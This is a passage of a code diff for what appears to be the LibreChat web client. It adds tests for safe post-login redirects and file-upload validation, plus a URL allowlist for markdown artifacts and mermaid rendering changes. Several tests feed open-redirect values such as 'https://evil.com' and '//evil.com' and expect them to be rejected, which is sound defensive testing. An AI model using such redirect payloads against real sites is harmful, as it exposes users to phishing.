+ it('accepts the root path', () => {
+ expect(isSafeRedirect('/')).toBe(true);
+ });
+});
+
+describe('getPostLoginRedirect', () => {
+ beforeEach(() => {
+ sessionStorage.clear();
+ });
+
+ it('returns the redirect_to param when valid', () => {
+ const params = new URLSearchParams('redirect_to=%2Fc%2Fnew');
+ expect(getPostLoginRedirect(params)).toBe('/c/new');
+ });
+
+ it('falls back to sessionStorage when no URL param', () => {
+ sessionStorage.setItem(SESSION_KEY, '/c/abc123');
+ const params = new URLSearchParams();
+ expect(getPostLoginRedirect(params)).toBe('/c/abc123');
+ });
+
+ it('prefers URL param over sessionStorage', () => {
+ sessionStorage.setItem(SESSION_KEY, '/c/old');
+ const params = new URLSearchParams('redirect_to=%2Fc%2Fnew');
+ expect(getPostLoginRedirect(params)).toBe('/c/new');
+ });
+
+ it('clears sessionStorage after reading', () => {
+ sessionStorage.setItem(SESSION_KEY, '/c/abc123');
+ const params = new URLSearchParams();
+ getPostLoginRedirect(params);
+ expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+ });
+
+ it('returns null when no redirect source exists', () => {
+ const params = new URLSearchParams();
+ expect(getPostLoginRedirect(params)).toBeNull();
+ });
+
+ it('rejects an absolute URL from params', () => {
+ const params = new URLSearchParams('redirect_to=https%3A%2F%2Fevil.com');
+ expect(getPostLoginRedirect(params)).toBeNull();
+ });
+
+ it('rejects a protocol-relative URL from params', () => {
+ const params = new URLSearchParams('redirect_to=%2F%2Fevil.com');
+ expect(getPostLoginRedirect(params)).toBeNull();
+ });
+
+ it('rejects an absolute URL from sessionStorage', () => {
+ sessionStorage.setItem(SESSION_KEY, 'https://evil.com');
+ const params = new URLSearchParams();
+ expect(getPostLoginRedirect(params)).toBeNull();
+ });
+
+ it('rejects /login redirect to prevent loops', () => {
+ const params = new URLSearchParams('redirect_to=%2Flogin');
+ expect(getPostLoginRedirect(params)).toBeNull();
+ });
+
+ it('rejects /login sub-path redirect', () => {
+ const params = new URLSearchParams('redirect_to=%2Flogin%2F2fa');
+ expect(getPostLoginRedirect(params)).toBeNull();
+ });
+
+ it('still clears sessionStorage even when target is unsafe', () => {
+ sessionStorage.setItem(SESSION_KEY, 'https://evil.com');
+ const params = new URLSearchParams();
+ getPostLoginRedirect(params);
+ expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+ });
+});
+
+describe('login error redirect_to preservation (AuthContext onError pattern)', () => {
+ /** Mirrors the logic in AuthContext.tsx loginUser.onError */
+ function buildLoginErrorPath(search: string): string {
+ const redirectTo = new URLSearchParams(search).get('redirect_to');
+ return redirectTo && isSafeRedirect(redirectTo)
+ ? `/login?redirect_to=${encodeURIComponent(redirectTo)}`
+ : '/login';
+ }
+
+ it('preserves a valid redirect_to across login failure', () => {
+ const result = buildLoginErrorPath('?redirect_to=%2Fc%2Fnew');
+ expect(result).toBe('/login?redirect_to=%2Fc%2Fnew');
+ });
+
+ it('drops an open-redirect attempt (absolute URL)', () => {
+ const result = buildLoginErrorPath('?redirect_to=https%3A%2F%2Fevil.com');
+ expect(result).toBe('/login');
+ });
+
+ it('drops a /login redirect_to to prevent loops', () => {
+ const result = buildLoginErrorPath('?redirect_to=%2Flogin');
+ expect(result).toBe('/login');
+ });
+
+ it('returns plain /login when no redirect_to param exists', () => {
+ const result = buildLoginErrorPath('');
+ expect(result).toBe('/login');
+ });
+});
+
+describe('persistRedirectToSession', () => {
+ beforeEach(() => {
+ sessionStorage.clear();
+ });
+
+ it('stores a valid relative path', () => {
+ persistRedirectToSession('/c/new?q=hello');
+ expect(sessionStorage.getItem(SESSION_KEY)).toBe('/c/new?q=hello');
+ });
+
+ it('rejects an absolute URL', () => {
+ persistRedirectToSession('https://evil.com');
+ expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+ });
+
+ it('rejects a protocol-relative URL', () => {
+ persistRedirectToSession('//evil.com');
+ expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+ });
+
+ it('rejects /login paths', () => {
+ persistRedirectToSession('/login?redirect_to=/c/new');
+ expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
+ });
+});
diff --git a/client/src/utils/__tests__/validateFiles.spec.ts b/client/src/utils/__tests__/validateFiles.spec.ts
new file mode 100644
index 0000000000..6d690bf62a
--- /dev/null
+++ b/client/src/utils/__tests__/validateFiles.spec.ts
@@ -0,0 +1,172 @@
+import { megabyte, fileConfig as defaultFileConfig } from 'librechat-data-provider';
+import type { EndpointFileConfig, FileConfig } from 'librechat-data-provider';
+import type { ExtendedFile } from '~/common';
+import { validateFiles } from '../files';
+
+const supportedMimeTypes = defaultFileConfig.endpoints.default.supportedMimeTypes;
+
+function makeEndpointConfig(overrides: Partial = {}): EndpointFileConfig {
+ return {
+ fileLimit: 10,
+ fileSizeLimit: 25 * megabyte,
+ totalSizeLimit: 100 * megabyte,
+ supportedMimeTypes,
+ disabled: false,
+ ...overrides,
+ };
+}
+
+function makeFile(name: string, type: string, size: number): File {
+ const content = new ArrayBuffer(size);
+ return new File([content], name, { type });
+}
+
+function makeExtendedFile(overrides: Partial = {}): ExtendedFile {
+ return {
+ file_id: 'ext-1',
+ size: 1024,
+ progress: 1,
+ type: 'application/pdf',
+ ...overrides,
+ };
+}
+
+describe('validateFiles', () => {
+ let setError: jest.Mock;
+ let files: Map;
+ let endpointFileConfig: EndpointFileConfig;
+ const fileConfig: FileConfig | null = null;
+
+ beforeEach(() => {
+ setError = jest.fn();
+ files = new Map();
+ endpointFileConfig = makeEndpointConfig();
+ });
+
+ it('returns true when all checks pass', () => {
+ const fileList = [makeFile('doc.pdf', 'application/pdf', 1024)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(true);
+ expect(setError).not.toHaveBeenCalled();
+ });
+
+ it('rejects when endpoint is disabled', () => {
+ endpointFileConfig = makeEndpointConfig({ disabled: true });
+ const fileList = [makeFile('doc.pdf', 'application/pdf', 1024)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(false);
+ expect(setError).toHaveBeenCalledWith('com_ui_attach_error_disabled');
+ });
+
+ it('rejects empty files (zero bytes)', () => {
+ const fileList = [makeFile('empty.pdf', 'application/pdf', 0)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(false);
+ expect(setError).toHaveBeenCalledWith('com_error_files_empty');
+ });
+
+ it('rejects when fileLimit would be exceeded', () => {
+ endpointFileConfig = makeEndpointConfig({ fileLimit: 3 });
+ files = new Map([
+ ['f1', makeExtendedFile({ file_id: 'f1', filename: 'one.pdf', size: 2048 })],
+ ['f2', makeExtendedFile({ file_id: 'f2', filename: 'two.pdf', size: 3072 })],
+ ]);
+ const fileList = [
+ makeFile('a.pdf', 'application/pdf', 1024),
+ makeFile('b.pdf', 'application/pdf', 2048),
+ ];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(false);
+ expect(setError).toHaveBeenCalledWith('File limit reached: 3 files');
+ });
+
+ it('allows upload when exactly at fileLimit boundary', () => {
+ endpointFileConfig = makeEndpointConfig({ fileLimit: 3 });
+ files = new Map([
+ ['f1', makeExtendedFile({ file_id: 'f1', filename: 'one.pdf', size: 2048 })],
+ ['f2', makeExtendedFile({ file_id: 'f2', filename: 'two.pdf', size: 3072 })],
+ ]);
+ const fileList = [makeFile('a.pdf', 'application/pdf', 1024)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(true);
+ });
+
+ it('rejects unsupported MIME type', () => {
+ const fileList = [makeFile('data.xyz', 'application/x-unknown', 1024)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(false);
+ expect(setError).toHaveBeenCalledWith('Unsupported file type: application/x-unknown');
+ });
+
+ it('rejects when file size equals fileSizeLimit (>= comparison)', () => {
+ const limit = 5 * megabyte;
+ endpointFileConfig = makeEndpointConfig({ fileSizeLimit: limit });
+ const fileList = [makeFile('exact.pdf', 'application/pdf', limit)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(false);
+ expect(setError).toHaveBeenCalledWith(`File size limit exceeded: ${limit / megabyte} MB`);
+ });
+
+ it('allows file just under fileSizeLimit', () => {
+ const limit = 5 * megabyte;
+ endpointFileConfig = makeEndpointConfig({ fileSizeLimit: limit });
+ const fileList = [makeFile('under.pdf', 'application/pdf', limit - 1)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(true);
+ });
+
+ it('rejects when totalSizeLimit would be exceeded', () => {
+ const limit = 10 * megabyte;
+ endpointFileConfig = makeEndpointConfig({ totalSizeLimit: limit });
+ files = new Map([['f1', makeExtendedFile({ file_id: 'f1', size: 6 * megabyte })]]);
+ const fileList = [makeFile('big.pdf', 'application/pdf', 5 * megabyte)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(false);
+ expect(setError).toHaveBeenCalledWith(`Total file size limit exceeded: ${limit / megabyte} MB`);
+ });
+
+ it('allows when totalSizeLimit is exactly met', () => {
+ const limit = 10 * megabyte;
+ endpointFileConfig = makeEndpointConfig({ totalSizeLimit: limit });
+ files = new Map([['f1', makeExtendedFile({ file_id: 'f1', size: 5 * megabyte })]]);
+ const fileList = [makeFile('fits.pdf', 'application/pdf', 5 * megabyte)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(true);
+ });
+
+ it('rejects duplicate files', () => {
+ files = new Map([
+ [
+ 'f1',
+ makeExtendedFile({
+ file_id: 'f1',
+ file: makeFile('doc.pdf', 'application/pdf', 1024),
+ filename: 'doc.pdf',
+ size: 1024,
+ type: 'application/pdf',
+ }),
+ ],
+ ]);
+ const fileList = [makeFile('doc.pdf', 'application/pdf', 1024)];
+ const result = validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(result).toBe(false);
+ expect(setError).toHaveBeenCalledWith('com_error_files_dupe');
+ });
+
+ it('enforces check ordering: disabled before fileLimit', () => {
+ endpointFileConfig = makeEndpointConfig({ disabled: true, fileLimit: 1 });
+ files = new Map([['f1', makeExtendedFile({ file_id: 'f1', filename: 'existing.pdf' })]]);
+ const fileList = [makeFile('doc.pdf', 'application/pdf', 1024)];
+ validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(setError).toHaveBeenCalledWith('com_ui_attach_error_disabled');
+ });
+
+ it('enforces check ordering: fileLimit before fileSizeLimit', () => {
+ const limit = 1;
+ endpointFileConfig = makeEndpointConfig({ fileLimit: 1, fileSizeLimit: limit });
+ files = new Map([['f1', makeExtendedFile({ file_id: 'f1', filename: 'existing.pdf' })]]);
+ const fileList = [makeFile('huge.pdf', 'application/pdf', limit)];
+ validateFiles({ files, fileList, setError, endpointFileConfig, fileConfig });
+ expect(setError).toHaveBeenCalledWith('File limit reached: 1 files');
+ });
+});
diff --git a/client/src/utils/artifacts.ts b/client/src/utils/artifacts.ts
index a1caf8c07e..e862d18a40 100644
--- a/client/src/utils/artifacts.ts
+++ b/client/src/utils/artifacts.ts
@@ -7,6 +7,7 @@ import type {
const artifactFilename = {
'application/vnd.react': 'App.tsx',
+ 'application/vnd.ant.react': 'App.tsx',
'text/html': 'index.html',
'application/vnd.code-html': 'index.html',
// mermaid and markdown types are handled separately in useArtifactProps.ts
@@ -28,6 +29,7 @@ const artifactTemplate: Record<
> = {
'text/html': 'static',
'application/vnd.react': 'react-ts',
+ 'application/vnd.ant.react': 'react-ts',
'application/vnd.mermaid': 'react-ts',
'application/vnd.code-html': 'static',
'text/markdown': 'react-ts',
@@ -106,7 +108,9 @@ const mermaidDependencies = {
};
const markdownDependencies = {
- 'marked-react': '^2.0.0',
+ 'remark-gfm': '^4.0.0',
+ 'remark-breaks': '^4.0.0',
+ 'react-markdown': '^9.0.1',
};
const dependenciesMap: Record<
@@ -119,6 +123,7 @@ const dependenciesMap: Record<
> = {
'application/vnd.mermaid': mermaidDependencies,
'application/vnd.react': standardDependencies,
+ 'application/vnd.ant.react': standardDependencies,
'text/html': standardDependencies,
'application/vnd.code-html': standardDependencies,
'text/markdown': markdownDependencies,
diff --git a/client/src/utils/createChatSearchParams.ts b/client/src/utils/createChatSearchParams.ts
index 4e59b20507..64d327f43f 100644
--- a/client/src/utils/createChatSearchParams.ts
+++ b/client/src/utils/createChatSearchParams.ts
@@ -1,11 +1,65 @@
import {
+ EModelEndpoint,
isAgentsEndpoint,
tQueryParamsSchema,
isAssistantsEndpoint,
} from 'librechat-data-provider';
-import type { TConversation, TPreset } from 'librechat-data-provider';
+import type { TPreset, TConversation } from 'librechat-data-provider';
+import type { ZodAny } from 'zod';
import { isEphemeralAgent } from '~/common';
+const parseQueryValue = (value: string) => {
+ if (value === 'true') {
+ return true;
+ }
+ if (value === 'false') {
+ return false;
+ }
+ if (!isNaN(Number(value))) {
+ return Number(value);
+ }
+ return value;
+};
+
+/**
+ * Processes and validates URL query parameters using schema definitions.
+ * Extracts valid settings based on tQueryParamsSchema and handles special endpoint cases
+ * for assistants and agents.
+ */
+export function processValidSettings(queryParams: Record) {
+ const validSettings = {} as TPreset;
+
+ for (const [key, value] of Object.entries(queryParams)) {
+ try {
+ const schema = tQueryParamsSchema.shape[key] as ZodAny | undefined;
+ if (schema) {
+ const parsedValue = parseQueryValue(value);
+ const validValue = schema.parse(parsedValue);
+ validSettings[key] = validValue;
+ }
+ } catch (error) {
+ console.warn(`Invalid value for setting ${key}:`, error);
+ }
+ }
+
+ if (
+ validSettings.assistant_id != null &&
+ validSettings.assistant_id &&
+ !isAssistantsEndpoint(validSettings.endpoint)
+ ) {
+ validSettings.endpoint = EModelEndpoint.assistants;
+ }
+ if (
+ validSettings.agent_id != null &&
+ validSettings.agent_id &&
+ !isAgentsEndpoint(validSettings.endpoint)
+ ) {
+ validSettings.endpoint = EModelEndpoint.agents;
+ }
+
+ return validSettings;
+}
+
const allowedParams = Object.keys(tQueryParamsSchema.shape);
export default function createChatSearchParams(
input: TConversation | TPreset | Record | null,
diff --git a/client/src/utils/files.ts b/client/src/utils/files.ts
index b4d362d456..be81a31b79 100644
--- a/client/src/utils/files.ts
+++ b/client/src/utils/files.ts
@@ -251,7 +251,7 @@ export const validateFiles = ({
const currentTotalSize = existingFiles.reduce((total, file) => total + file.size, 0);
if (fileLimit && fileList.length + files.size > fileLimit) {
- setError(`You can only upload up to ${fileLimit} files at a time.`);
+ setError(`File limit reached: ${fileLimit} files`);
return false;
}
@@ -282,19 +282,18 @@ export const validateFiles = ({
}
if (!checkType(originalFile.type, mimeTypesToCheck)) {
- console.log(originalFile);
- setError('Currently, unsupported file type: ' + originalFile.type);
+ setError(`Unsupported file type: ${originalFile.type}`);
return false;
}
if (fileSizeLimit && originalFile.size >= fileSizeLimit) {
- setError(`File size exceeds ${fileSizeLimit / megabyte} MB.`);
+ setError(`File size limit exceeded: ${fileSizeLimit / megabyte} MB`);
return false;
}
}
if (totalSizeLimit && currentTotalSize + incomingTotalSize > totalSizeLimit) {
- setError(`The total size of the files cannot exceed ${totalSizeLimit / megabyte} MB.`);
+ setError(`Total file size limit exceeded: ${totalSizeLimit / megabyte} MB`);
return false;
}
diff --git a/client/src/utils/index.ts b/client/src/utils/index.ts
index b8117b2677..dae075b471 100644
--- a/client/src/utils/index.ts
+++ b/client/src/utils/index.ts
@@ -13,6 +13,7 @@ export * from './agents';
export * from './drafts';
export * from './convos';
export * from './routes';
+export * from './redirect';
export * from './presets';
export * from './prompts';
export * from './textarea';
@@ -23,17 +24,17 @@ export * from './resources';
export * from './roles';
export * from './localStorage';
export * from './promptGroups';
+export * from './previewCache';
export * from './email';
export * from './share';
export * from './timestamps';
export { default as cn } from './cn';
export { default as logger } from './logger';
-export { default as scaleImage } from './scaleImage';
export { default as getLoginError } from './getLoginError';
export { default as cleanupPreset } from './cleanupPreset';
export { default as buildDefaultConvo } from './buildDefaultConvo';
export { default as getDefaultEndpoint } from './getDefaultEndpoint';
-export { default as createChatSearchParams } from './createChatSearchParams';
+export { default as createChatSearchParams, processValidSettings } from './createChatSearchParams';
export { getThemeFromEnv } from './getThemeFromEnv';
export const languages = [
diff --git a/client/src/utils/markdown.ts b/client/src/utils/markdown.ts
index 12556c1a24..24d5105863 100644
--- a/client/src/utils/markdown.ts
+++ b/client/src/utils/markdown.ts
@@ -1,23 +1,70 @@
import dedent from 'dedent';
-const markdownRenderer = dedent(`import React, { useEffect, useState } from 'react';
-import Markdown from 'marked-react';
+const SAFE_PROTOCOLS = new Set(['http:', 'https:', 'mailto:', 'tel:']);
+
+/**
+ * Allowlist-based URL validator for markdown artifact rendering.
+ * Mirrored verbatim in the markdownRenderer template string below —
+ * any logic change MUST be applied to both copies.
+ */
+export const isSafeUrl = (url: string): boolean => {
+ const trimmed = url.trim();
+ if (!trimmed) {
+ return false;
+ }
+ if (trimmed.startsWith('/') || trimmed.startsWith('#') || trimmed.startsWith('.')) {
+ return true;
+ }
+ try {
+ return SAFE_PROTOCOLS.has(new URL(trimmed).protocol);
+ } catch {
+ return false;
+ }
+};
+
+const markdownRenderer = dedent(`import React from 'react';
+import remarkGfm from 'remark-gfm';
+import remarkBreaks from 'remark-breaks';
+import ReactMarkdown from 'react-markdown';
interface MarkdownRendererProps {
content: string;
}
+/** Mirror of the exported isSafeUrl in markdown.ts — keep in sync. */
+const SAFE_PROTOCOLS = new Set(['http:', 'https:', 'mailto:', 'tel:']);
+
+const isSafeUrl = (url: string): boolean => {
+ const trimmed = url.trim();
+ if (!trimmed) return false;
+ if (trimmed.startsWith('/') || trimmed.startsWith('#') || trimmed.startsWith('.')) return true;
+ try {
+ return SAFE_PROTOCOLS.has(new URL(trimmed).protocol);
+ } catch {
+ return false;
+ }
+};
+
+const remarkPlugins = [remarkGfm, remarkBreaks];
+const urlTransform = (url: string) => (isSafeUrl(url) ? url : null);
+
const MarkdownRenderer: React.FC = ({ content }) => {
return (
- {content}
+
+ {content}
+
);
};
diff --git a/client/src/utils/mermaid.ts b/client/src/utils/mermaid.ts
index 7930d9ab1e..60ea96ee55 100644
--- a/client/src/utils/mermaid.ts
+++ b/client/src/utils/mermaid.ts
@@ -1,15 +1,157 @@
import dedent from 'dedent';
-const mermaid = dedent(`import React, { useEffect, useRef, useState } from "react";
+interface MermaidButtonStyles {
+ bg: string;
+ bgHover: string;
+ border: string;
+ text: string;
+ textSecondary: string;
+ shadow: string;
+ divider: string;
+}
+
+const darkButtonStyles: MermaidButtonStyles = {
+ bg: 'rgba(40, 40, 40, 0.95)',
+ bgHover: 'rgba(60, 60, 60, 0.95)',
+ border: '1px solid rgba(255, 255, 255, 0.1)',
+ text: '#D1D5DB',
+ textSecondary: '#9CA3AF',
+ shadow: '0 2px 8px rgba(0, 0, 0, 0.4)',
+ divider: 'rgba(255, 255, 255, 0.1)',
+};
+
+const lightButtonStyles: MermaidButtonStyles = {
+ bg: 'rgba(255, 255, 255, 0.95)',
+ bgHover: 'rgba(243, 244, 246, 0.95)',
+ border: '1px solid rgba(0, 0, 0, 0.1)',
+ text: '#374151',
+ textSecondary: '#6B7280',
+ shadow: '0 2px 8px rgba(0, 0, 0, 0.1)',
+ divider: 'rgba(0, 0, 0, 0.1)',
+};
+
+const getButtonStyles = (isDarkMode: boolean): MermaidButtonStyles =>
+ isDarkMode ? darkButtonStyles : lightButtonStyles;
+
+const baseFlowchartConfig = {
+ curve: 'basis' as const,
+ nodeSpacing: 50,
+ rankSpacing: 50,
+ diagramPadding: 8,
+ useMaxWidth: true,
+ padding: 15,
+ wrappingWidth: 200,
+};
+
+/** Artifact renderer injects SVG directly into the DOM where foreignObject works */
+const artifactFlowchartConfig = {
+ ...baseFlowchartConfig,
+ htmlLabels: true,
+};
+
+/** Inline renderer converts SVG to a blob URL ; browsers block foreignObject in that context */
+const inlineFlowchartConfig = {
+ ...baseFlowchartConfig,
+ htmlLabels: false,
+};
+
+export { inlineFlowchartConfig, artifactFlowchartConfig };
+
+/** Perceived luminance (0 = black, 1 = white) via BT.601 luma coefficients */
+const hexLuminance = (hex: string): number => {
+ let h = hex.replace('#', '');
+ if (h.length === 3) {
+ h = h[0] + h[0] + h[1] + h[1] + h[2] + h[2];
+ }
+ if (h.length < 6) {
+ return -1;
+ }
+ const r = parseInt(h.slice(0, 2), 16) / 255;
+ const g = parseInt(h.slice(2, 4), 16) / 255;
+ const b = parseInt(h.slice(4, 6), 16) / 255;
+ return 0.299 * r + 0.587 * g + 0.114 * b;
+};
+
+/**
+ * Fixes subgraph title text contrast in mermaid SVGs rendered with htmlLabels: false.
+ * When a subgraph has an explicit light fill via `style` directives, the title
+ * gets its fill from a CSS rule (.cluster-label text / .cluster text) set to titleColor.
+ * In dark mode, titleColor is light, producing invisible text on light backgrounds.
+ * This walks cluster groups and overrides the text fill attribute when contrast is poor.
+ */
+export const fixSubgraphTitleContrast = (svgElement: Element): void => {
+ const clusters = svgElement.querySelectorAll('g.cluster');
+ for (const cluster of clusters) {
+ const rect = cluster.querySelector(':scope > rect, :scope > polygon');
+ if (!rect) {
+ continue;
+ }
+
+ const inlineStyle = rect.getAttribute('style') || '';
+ const attrFill = rect.getAttribute('fill') || '';
+ const styleFillMatch = inlineStyle.match(/fill\s*:\s*(#[0-9a-fA-F]{3,8})/);
+ const hex = styleFillMatch?.[1] ?? (attrFill.startsWith('#') ? attrFill : '');
+ if (!hex) {
+ continue;
+ }
+
+ const bgLum = hexLuminance(hex);
+ if (bgLum < 0) {
+ continue;
+ }
+
+ const textElements = cluster.querySelectorAll(
+ ':scope > g.cluster-label text, :scope > text, :scope > g > text',
+ );
+ for (const textEl of textElements) {
+ const textFill = textEl.getAttribute('fill') || '';
+ const textStyle = textEl.getAttribute('style') || '';
+ const textStyleFill = textStyle.match(/fill\s*:\s*(#[0-9a-fA-F]{3,8})/);
+ const currentHex = textStyleFill?.[1] ?? (textFill.startsWith('#') ? textFill : '');
+ const isLightBg = bgLum > 0.5;
+
+ let newFill = '';
+ if (!currentHex) {
+ if (isLightBg) {
+ newFill = '#1a1a1a';
+ }
+ } else {
+ const textLum = hexLuminance(currentHex);
+ if (textLum < 0) {
+ continue;
+ }
+ if (isLightBg && textLum > 0.5) {
+ newFill = '#1a1a1a';
+ } else if (!isLightBg && textLum < 0.4) {
+ newFill = '#f0f0f0';
+ }
+ }
+
+ if (newFill) {
+ let sep = '';
+ if (textStyle) {
+ sep = textStyle.trimEnd().endsWith(';') ? ' ' : '; ';
+ }
+ textEl.setAttribute('style', `${textStyle}${sep}fill: ${newFill}`);
+ }
+ }
+ }
+};
+
+const buildMermaidComponent = (
+ mermaidTheme: string,
+ bgColor: string,
+ btnStyles: MermaidButtonStyles,
+) =>
+ dedent(`import React, { useEffect, useRef, useState, useCallback } from "react";
import {
TransformWrapper,
TransformComponent,
ReactZoomPanPinchRef,
} from "react-zoom-pan-pinch";
import mermaid from "mermaid";
-import { Button } from "/components/ui/button";
-const ZoomIn = () => (
+const ZoomInIcon = () => (
@@ -18,7 +160,7 @@ const ZoomIn = () => (
);
-const ZoomOut = () => (
+const ZoomOutIcon = () => (
@@ -26,90 +168,147 @@ const ZoomOut = () => (
);
-const RefreshCw = () => (
+const ResetIcon = () => (
-
-
-
-
+
+
);
+const CopyIcon = () => (
+
+
+
+
+);
+
+const CheckIcon = () => (
+
+
+
+);
+
+const btnBase = {
+ display: "inline-flex",
+ alignItems: "center",
+ justifyContent: "center",
+ width: "28px",
+ height: "28px",
+ borderRadius: "4px",
+ background: "transparent",
+ border: "none",
+ color: "${btnStyles.text}",
+ cursor: "pointer",
+ padding: "6px",
+ transition: "background 0.15s ease",
+};
+
+const btnHover = {
+ ...btnBase,
+ background: "${btnStyles.bgHover}",
+};
+
+const toolbarStyle = {
+ position: "absolute",
+ bottom: "12px",
+ right: "12px",
+ display: "flex",
+ alignItems: "center",
+ gap: "2px",
+ padding: "4px",
+ borderRadius: "8px",
+ background: "${btnStyles.bg}",
+ boxShadow: "${btnStyles.shadow}",
+ backdropFilter: "blur(8px)",
+ border: "${btnStyles.border}",
+ zIndex: 10,
+};
+
+const dividerStyle = {
+ width: "1px",
+ height: "16px",
+ background: "${btnStyles.divider}",
+ margin: "0 4px",
+};
+
+const zoomTextStyle = {
+ minWidth: "3rem",
+ textAlign: "center",
+ fontSize: "12px",
+ color: "${btnStyles.textSecondary}",
+ userSelect: "none",
+ fontFamily: "system-ui, -apple-system, sans-serif",
+};
+
interface MermaidDiagramProps {
content: string;
}
+interface IconButtonProps {
+ onClick: () => void;
+ children: React.ReactNode;
+ title: string;
+ disabled?: boolean;
+}
+
+const IconButton = ({ onClick, children, title, disabled = false }: IconButtonProps) => {
+ const [hovered, setHovered] = useState(false);
+ return (
+ setHovered(true)}
+ onMouseLeave={() => setHovered(false)}
+ >
+ {children}
+
+ );
+};
+
+const ZOOM_STEP = 0.1;
+const MIN_SCALE = 0.1;
+const MAX_SCALE = 10;
+
const MermaidDiagram: React.FC = ({ content }) => {
const mermaidRef = useRef(null);
const transformRef = useRef(null);
const [isRendered, setIsRendered] = useState(false);
+ const [zoomLevel, setZoomLevel] = useState(100);
+ const [copied, setCopied] = useState(false);
useEffect(() => {
mermaid.initialize({
startOnLoad: false,
- theme: "base",
- themeVariables: {
- background: "#282C34",
- primaryColor: "#333842",
- secondaryColor: "#333842",
- tertiaryColor: "#333842",
- primaryTextColor: "#ABB2BF",
- secondaryTextColor: "#ABB2BF",
- lineColor: "#636D83",
- fontSize: "16px",
- nodeBorder: "#636D83",
- mainBkg: '#282C34',
- altBackground: '#282C34',
- textColor: '#ABB2BF',
- edgeLabelBackground: '#282C34',
- clusterBkg: '#282C34',
- clusterBorder: "#636D83",
- labelBoxBkgColor: "#333842",
- labelBoxBorderColor: "#636D83",
- labelTextColor: "#ABB2BF",
- },
- flowchart: {
- curve: "basis",
- nodeSpacing: 50,
- rankSpacing: 50,
- diagramPadding: 8,
- htmlLabels: true,
- useMaxWidth: true,
- padding: 15,
- wrappingWidth: 200,
- },
+ theme: "${mermaidTheme}",
+ securityLevel: "strict",
+ flowchart: ${JSON.stringify(artifactFlowchartConfig, null, 8)},
});
const renderDiagram = async () => {
- if (mermaidRef.current) {
- try {
- const { svg } = await mermaid.render("mermaid-diagram", content);
- mermaidRef.current.innerHTML = svg;
+ if (!mermaidRef.current) {
+ return;
+ }
+ try {
+ const { svg } = await mermaid.render("mermaid-diagram", content);
+ mermaidRef.current.innerHTML = svg;
- const svgElement = mermaidRef.current.querySelector("svg");
- if (svgElement) {
- svgElement.style.width = "100%";
- svgElement.style.height = "100%";
-
- const pathElements = svgElement.querySelectorAll("path");
- pathElements.forEach((path) => {
- path.style.strokeWidth = "1.5px";
- });
-
- const rectElements = svgElement.querySelectorAll("rect");
- rectElements.forEach((rect) => {
- const parent = rect.parentElement;
- if (parent && parent.classList.contains("node")) {
- rect.style.stroke = "#636D83";
- rect.style.strokeWidth = "1px";
- } else {
- rect.style.stroke = "none";
- }
- });
- }
- setIsRendered(true);
- } catch (error) {
- console.error("Mermaid rendering error:", error);
+ const svgElement = mermaidRef.current.querySelector("svg");
+ if (svgElement) {
+ svgElement.style.width = "100%";
+ svgElement.style.height = "100%";
+ }
+ setIsRendered(true);
+ } catch (error) {
+ console.error("Mermaid rendering error:", error);
+ if (mermaidRef.current) {
mermaidRef.current.innerHTML = "Error rendering diagram";
}
}
@@ -118,72 +317,90 @@ const MermaidDiagram: React.FC = ({ content }) => {
renderDiagram();
}, [content]);
- const centerAndFitDiagram = () => {
+ const centerAndFitDiagram = useCallback(() => {
if (transformRef.current && mermaidRef.current) {
const { centerView, zoomToElement } = transformRef.current;
- zoomToElement(mermaidRef.current as HTMLElement);
+ zoomToElement(mermaidRef.current);
centerView(1, 0);
+ setZoomLevel(100);
}
- };
+ }, []);
useEffect(() => {
if (isRendered) {
centerAndFitDiagram();
}
- }, [isRendered]);
+ }, [isRendered, centerAndFitDiagram]);
- const handlePanning = () => {
- if (transformRef.current) {
- const { state, instance } = transformRef.current;
- if (!state) {
- return;
- }
- const { scale, positionX, positionY } = state;
- const { wrapperComponent, contentComponent } = instance;
-
- if (wrapperComponent && contentComponent) {
- const wrapperRect = wrapperComponent.getBoundingClientRect();
- const contentRect = contentComponent.getBoundingClientRect();
- const maxX = wrapperRect.width - contentRect.width * scale;
- const maxY = wrapperRect.height - contentRect.height * scale;
-
- let newX = positionX;
- let newY = positionY;
-
- if (newX > 0) {
- newX = 0;
- }
- if (newY > 0) {
- newY = 0;
- }
- if (newX < maxX) {
- newX = maxX;
- }
- if (newY < maxY) {
- newY = maxY;
- }
-
- if (newX !== positionX || newY !== positionY) {
- instance.setTransformState(scale, newX, newY);
- }
- }
+ const handleTransform = useCallback((ref) => {
+ if (ref && ref.state) {
+ setZoomLevel(Math.round(ref.state.scale * 100));
}
- };
+ }, []);
+
+ const handleCopy = useCallback(() => {
+ navigator.clipboard.writeText(content).then(() => {
+ setCopied(true);
+ setTimeout(() => setCopied(false), 2000);
+ }).catch(() => {});
+ }, [content]);
+
+ const handlePanning = useCallback(() => {
+ if (!transformRef.current) {
+ return;
+ }
+ const { state, instance } = transformRef.current;
+ if (!state) {
+ return;
+ }
+ const { scale, positionX, positionY } = state;
+ const { wrapperComponent, contentComponent } = instance;
+
+ if (!wrapperComponent || !contentComponent) {
+ return;
+ }
+
+ const wrapperRect = wrapperComponent.getBoundingClientRect();
+ const contentRect = contentComponent.getBoundingClientRect();
+ const maxX = wrapperRect.width - contentRect.width * scale;
+ const maxY = wrapperRect.height - contentRect.height * scale;
+
+ let newX = positionX;
+ let newY = positionY;
+
